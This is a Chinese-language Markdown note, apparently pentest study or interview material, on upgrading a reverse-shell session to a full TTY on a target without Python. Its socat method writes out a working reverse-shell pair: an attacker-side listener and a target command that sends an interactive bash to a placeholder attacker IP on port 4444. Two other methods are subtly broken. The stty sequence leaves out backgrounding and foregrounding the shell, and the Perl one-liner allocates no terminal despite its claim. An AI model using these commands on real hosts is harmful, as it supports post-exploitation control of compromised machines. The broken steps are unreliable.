Files
2026-03-11 10:31:47 +08:00

75 lines
1.9 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 除了 Python,请再给出一种在环境中没有安装 Python 时升级 TTY 的方法
**方法一:使用 Script 命令**
大多数 Linux 发行版默认安装了 `script` 工具,可用于记录终端会话,同时生成一个完整的 TTY
```bash
script /dev/null -c bash
# 或
script -q /dev/null
```
- 原理:`script` 会创建一个新的伪终端(pty),并将当前 Shell 附加到该终端上
**方法二:使用 Socat**
如果目标有 `socat`,可以创建完整的双向交互式 Shell
在攻击机监听
```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
在目标机连接
```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444
```
- **优点**:获得完整的伪终端,支持 Tab 补全、作业控制、信号处理
- **缺点**`socat` 并非默认安装,可能需要上传静态编译版本
**方法三:使用 Expect**
`expect` 常用于自动化交互式程序,也可以用来提升 TTY
```bash
expect -c 'spawn bash; interact'
```
- **原理**`spawn` 创建一个新的伪终端进程,`interact` 将控制权交给用户
- **前提**:需要目标安装 `expect`
**方法四:使用 Stty 手动配置**
即使没有额外工具,也可以通过 `stty` 命令手动恢复终端的基本功能:
```bash
# 在当前受限 Shell 中执行
stty raw -echo
# 按下 Ctrl+J(不是回车)重新连接
# 然后输入 reset 并按 Ctrl+J
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116
```
步骤解析:
1. `stty raw -echo`:关闭终端的行缓冲和回显,使字符立即传递
2. `Ctrl+J`(即换行符)重新连接 Shell
3. `reset` 初始化终端状态
4. 设置环境变量和终端尺寸(可选)
**方法五:使用其他编程语言**
如果目标没有 Python 但有 Perl(很多系统默认安装)
```bash
perl -e 'use POSIX qw(setsid); print " spawn tty\n"; system("bash -i");'
```